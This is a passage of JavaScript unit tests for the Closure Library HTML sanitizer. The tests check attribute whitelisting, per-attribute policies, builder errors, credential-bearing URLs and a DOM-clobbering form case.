1568 assertSanitizedHtml(
1569 input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
1570 .onlyAllowAttributes([])
1571 .build());
1572 }
1573
1574
1575 function testOnlyAllowUnWhitelistedAttr() {
1576 assertThrows(function() {
1577 new goog.html.sanitizer.HtmlSanitizer.Builder().onlyAllowAttributes(
1578 ['alt', 'zzz']);
1579 });
1580 }
1581
1582
1583 function testOnlyAllowAttributeWildCard() {
1584 var input =
1585 '<div alt="yes" aria-checked="true"><img alt="yep" avbb="no" /></div>';
1586 var expected = '<div alt="yes"><img alt="yep" /></div>';
1587 assertSanitizedHtml(
1588 input, expected,
1589 new goog.html.sanitizer.HtmlSanitizer.Builder()
1590 .onlyAllowAttributes([{tagName: '*', attributeName: 'alt'}])
1591 .build());
1592 }
1593
1594
1595 function testOnlyAllowAttributeLabelForA() {
1596 var input = '<a label="3" aria-checked="4">fff</a><img label="3" />';
1597 var expected = '<a label="3">fff</a><img />';
1598 assertSanitizedHtml(
1599 input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
1600 .onlyAllowAttributes([{
1601 tagName: '*',
1602 attributeName: 'label',
1603 policy: function(value, hints) {
1604 if (hints.tagName !== 'a') {
1605 return null;
1606 }
1607 return value;
1608 }
1609 }])
1610 .build());
1611 }
1612
1613
1614 function testOnlyAllowAttributePolicy() {
1615 var input = '<img alt="yes" /><img alt="no" />';
1616 var expected = '<img alt="yes" /><img />';
1617 assertSanitizedHtml(
1618 input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
1619 .onlyAllowAttributes([{
1620 tagName: '*',
1621 attributeName: 'alt',
1622 policy: function(value, hints) {
1623 assertEquals(hints.attributeName, 'alt');
1624 return value === 'yes' ? value : null;
1625 }
1626 }])
1627 .build());
1628 }
1629
1630
1631 function testOnlyAllowAttributePolicyPipe1() {
1632 var input = '<a target="hello">b</a>';
1633 var expected = '<a target="_blank">b</a>';
1634 assertSanitizedHtml(
1635 input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
1636 .onlyAllowAttributes([{
1637 tagName: 'a',
1638 attributeName: 'target',
1639 policy: function(value, hints) {
1640 assertEquals(hints.attributeName, 'target');
1641 return '_blank';
1642 }
1643 }])
1644 .build());
1645 }
1646
1647
1648 function testOnlyAllowAttributePolicyPipe2() {
1649 var input = '<a target="hello">b</a>';
1650 var expected = '<a>b</a>';
1651 assertSanitizedHtml(
1652 input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
1653 .onlyAllowAttributes([{
1654 tagName: 'a',
1655 attributeName: 'target',
1656 policy: function(value, hints) {
1657 assertEquals(hints.attributeName, 'target');
1658 return 'nope';
1659 }
1660 }])
1661 .build());
1662 }
1663
1664
1665 function testOnlyAllowAttributeSpecificPolicyThrows() {
1666 assertThrows(function() {
1667 new goog.html.sanitizer.HtmlSanitizer.Builder().onlyAllowAttributes([
1668 {tagName: 'img', attributeName: 'src', policy: goog.functions.identity}
1669 ]);
1670 });
1671 }
1672
1673
1674 function testOnlyAllowAttributeGenericPolicyThrows() {
1675 assertThrows(function() {
1676 new goog.html.sanitizer.HtmlSanitizer.Builder().onlyAllowAttributes([{
1677 tagName: '*',
1678 attributeName: 'target',
1679 policy: goog.functions.identity
1680 }]);
1681 });
1682 }
1683
1684
1685 function testOnlyAllowAttributeRefineThrows() {
1686 var builder =
1687 new goog.html.sanitizer.HtmlSanitizer.Builder()
1688 .onlyAllowAttributes(
1689 ['aria-checked', {tagName: 'LINK', attributeName: 'HREF'}])
1690 .onlyAllowAttributes(['aria-checked']);
1691 assertThrows(function() {
1692 builder.onlyAllowAttributes(['alt']);
1693 });
1694 }
1695
1696
1697 function testUrlWithCredentials() {
1698 if (isIE8 || isIE9) {
1699 return;
1700 }
1701 // IE has trouble getting and setting URL attributes with credentials. Both
1702 // HTMLSanitizer and assertHtmlMatches are affected by the bug, hence the use
1703 // of plain string matching.
1704 var url = 'http://foo:[email protected]';
1705 var input = '<div style="background-image: url(\'' + url + '\');">' +
1706 '<img src="' + url + '" /></div>';
1707 var expectedIE = '<div style="background-image: url(&quot;' + url +
1708 '&quot;);"><img src="' + url + '" /></div>';
1709 var sanitizer =
1710 new goog.html.sanitizer.HtmlSanitizer.Builder()
1711 .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
1712 .allowCssStyles()
1713 .build();
1714 if (goog.userAgent.EDGE_OR_IE) {
1715 assertEquals(
1716 expectedIE, goog.html.SafeHtml.unwrap(sanitizer.sanitize(input)));
1717 } else {
1718 assertSanitizedHtml(input, input, sanitizer);
1719 }
1720 }
1721
1722
1723 function testClobberedForm() {
1724 var input = '<form><input name="nodeType" /></form>';
1725 // Passing a string in assertSanitizedHtml uses assertHtmlMatches, which is
1726 // also vulnerable to clobbering. We use a regexp to fall back to simple
1727 // string matching.
1728 var expected = new RegExp('<form><input name="nodeType" /></form>');
1729 assertSanitizedHtml(
1730 input, expected,
1731 new goog.html.sanitizer.HtmlSanitizer.Builder()
1732 .allowFormTag()
1733 .withCustomNamePolicy(goog.functions.identity)
1734 .build());
1735 }